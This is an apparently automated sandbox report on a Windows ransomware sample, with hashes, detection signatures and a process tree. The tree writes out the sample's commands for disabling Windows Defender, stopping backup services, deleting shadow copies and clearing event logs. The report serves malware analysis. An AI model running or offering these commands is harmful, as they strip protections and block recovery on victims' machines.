Overview

overview

10

Static

static

7

211xahcou.exe

windows10-1703-x64

10

Hive.elf

windows10-1703-x64

3

hive.exe

windows10-1703-x64

10

hive_linux_elf

windows10-1703-x64

1

linux_hive.elf

windows10-1703-x64

3

sjl8j6ap3.exe

windows10-1703-x64

1

windows_25...c5.exe

windows10-1703-x64

10

zi1ysv64h.exe

windows10-1703-x64

10

Analysis

  • max time kernel
    76s
  • max time network
    70s
  • platform
    windows10-1703_x64
  • resource
    win10-20230220-en
  • resource tags

    arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-05-2023 17:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

  • Size

    884KB

  • MD5

    da13022097518d123a91a3958be326da

  • SHA1

    24a71ab462594d5a159bbf176588af951aba1381

  • SHA256

    25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

  • SHA512

    a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f

  • SSDEEP

    12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Score
10/10
evasionransomwarespywarestealertrojanupx

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    evasion
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
    "C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2288
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:4080
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2088
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:4800
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4848
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:3892
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3716
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:1360
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2216
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:4192
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4176
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:4952
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1272
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:3592
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4784
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:3588
                    • C:\Windows\SysWOW64\net.exe
                      net.exe stop "UnistoreSvc_180d4" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4156
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_180d4" /y
                        3⤵
                          PID:4348
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4836
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SDRSVC" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4816
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SstpSvc" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:760
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "UI0Detect" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4604
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "vmicvss" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4524
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "VSS" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4540
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "wbengine" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4796
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "WebClient" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4984
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "UnistoreSvc_180d4" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:3396
                      • C:\Windows\SysWOW64\reg.exe
                        reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                        2⤵
                          PID:3416
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                          2⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:3284
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:4404
                          • C:\Windows\SysWOW64\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:2784
                            • C:\Windows\SysWOW64\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:4372
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4296
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1652
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2116
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:5036
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4460
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:4148
                                • C:\Windows\SysWOW64\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:4284
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:524
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:1044
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:4656
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:368
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:4472
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:228
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:2172
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:4996
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:664
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:3696
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:1772
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:2700
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                            • Modifies registry class
                                                            PID:2076
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                            • Modifies registry class
                                                            PID:1984
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                            • Modifies registry class
                                                            PID:5080
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                            2⤵
                                                              PID:2996
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                                PID:2524
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                  PID:4024
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:4864
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                    • Modifies security service
                                                                    PID:4700
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:4200
                                                                    • C:\Windows\SysWOW64\vssadmin.exe
                                                                      vssadmin.exe delete shadows /all /quiet
                                                                      2⤵
                                                                      • Interacts with shadow copies
                                                                      PID:4936
                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                      wevtutil.exe cl system
                                                                      2⤵
                                                                      • Clears Windows event logs
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2776
                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                      wevtutil.exe cl security
                                                                      2⤵
                                                                      • Clears Windows event logs
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1516
                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                      wevtutil.exe cl application
                                                                      2⤵
                                                                      • Clears Windows event logs
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:3592
                                                                    • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                      2⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:3904
                                                                    • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                      wmic.exe shadowcopy delete
                                                                      2⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:4664
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                      2⤵
                                                                        PID:4712
                                                                        • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                          3⤵
                                                                          • Deletes Windows Defender Definitions
                                                                          PID:2188
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                        2⤵
                                                                          PID:4488
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell Set-MpPreference -DisableIOAVProtection $true
                                                                            3⤵
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:4520
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                          2⤵
                                                                            PID:3060
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                              3⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:5072

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          1c19c16e21c97ed42d5beabc93391fc5

                                                                          SHA1

                                                                          8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                                                                          SHA256

                                                                          1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                                                                          SHA512

                                                                          7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                                                                          Download Submit

                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                          Filesize

                                                                          18KB

                                                                          MD5

                                                                          ab38541540242ba9fb71156358025157

                                                                          SHA1

                                                                          cedfba99e410336c3bc004a20866a4d72315042c

                                                                          SHA256

                                                                          357d40a29946799b1113984c98d36e0c543df5bf295e9d0cd343c90244d1e4f5

                                                                          SHA512

                                                                          f228ea6ad096db1d3f6d003d2831c49235cd7d560de6789e22750463a3ab78b39978e132e41e84790beb52c8a58071cccd53792c6671ebf3356514b87c71ee82

                                                                          Download Submit

                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvgzo3cz.yxr.ps1
                                                                          Filesize

                                                                          1B

                                                                          MD5

                                                                          c4ca4238a0b923820dcc509a6f75849b

                                                                          SHA1

                                                                          356a192b7913b04c54574d18c28d46e6395428ab

                                                                          SHA256

                                                                          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                          SHA512

                                                                          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                          Download Submit

                                                                        • memory/2288-141-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/2288-122-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/2288-123-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/2288-124-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/2288-126-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/2288-2245-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/2288-1401-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/2288-541-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/2288-121-0x00000000013B0000-0x00000000016C2000-memory.dmp

                                                                          Filesize

                                                                          3.1MB

                                                                          Download

                                                                        • memory/4520-131-0x0000000006D20000-0x0000000006D30000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                          Download

                                                                        • memory/4520-235-0x0000000006D20000-0x0000000006D30000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                          Download

                                                                        • memory/4520-139-0x0000000007F20000-0x0000000007F6B000-memory.dmp

                                                                          Filesize

                                                                          300KB

                                                                          Download

                                                                        • memory/4520-140-0x0000000008250000-0x00000000082C6000-memory.dmp

                                                                          Filesize

                                                                          472KB

                                                                          Download

                                                                        • memory/4520-137-0x0000000007BD0000-0x0000000007F20000-memory.dmp

                                                                          Filesize

                                                                          3.3MB

                                                                          Download

                                                                        • memory/4520-136-0x00000000072A0000-0x0000000007306000-memory.dmp

                                                                          Filesize

                                                                          408KB

                                                                          Download

                                                                        • memory/4520-158-0x0000000009290000-0x00000000092C3000-memory.dmp

                                                                          Filesize

                                                                          204KB

                                                                          Download

                                                                        • memory/4520-159-0x0000000009250000-0x000000000926E000-memory.dmp

                                                                          Filesize

                                                                          120KB

                                                                          Download

                                                                        • memory/4520-164-0x00000000093C0000-0x0000000009465000-memory.dmp

                                                                          Filesize

                                                                          660KB

                                                                          Download

                                                                        • memory/4520-165-0x000000007F340000-0x000000007F350000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                          Download

                                                                        • memory/4520-166-0x0000000009570000-0x0000000009604000-memory.dmp

                                                                          Filesize

                                                                          592KB

                                                                          Download

                                                                        • memory/4520-138-0x0000000007330000-0x000000000734C000-memory.dmp

                                                                          Filesize

                                                                          112KB

                                                                          Download

                                                                        • memory/4520-360-0x0000000009520000-0x000000000953A000-memory.dmp

                                                                          Filesize

                                                                          104KB

                                                                          Download

                                                                        • memory/4520-365-0x0000000009510000-0x0000000009518000-memory.dmp

                                                                          Filesize

                                                                          32KB

                                                                          Download

                                                                        • memory/4520-135-0x00000000071C0000-0x0000000007226000-memory.dmp

                                                                          Filesize

                                                                          408KB

                                                                          Download

                                                                        • memory/4520-134-0x0000000007020000-0x0000000007042000-memory.dmp

                                                                          Filesize

                                                                          136KB

                                                                          Download

                                                                        • memory/4520-130-0x0000000000EC0000-0x0000000000EF6000-memory.dmp

                                                                          Filesize

                                                                          216KB

                                                                          Download

                                                                        • memory/4520-132-0x0000000007360000-0x0000000007988000-memory.dmp

                                                                          Filesize

                                                                          6.2MB

                                                                          Download

                                                                        • memory/4520-133-0x0000000006D20000-0x0000000006D30000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                          Download

                                                                        • memory/5072-476-0x0000000000E90000-0x0000000000EA0000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                          Download

                                                                        • memory/5072-404-0x000000007E460000-0x000000007E470000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                          Download

                                                                        • memory/5072-386-0x0000000000E90000-0x0000000000EA0000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                          Download

                                                                        • memory/5072-385-0x0000000000E90000-0x0000000000EA0000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                          Download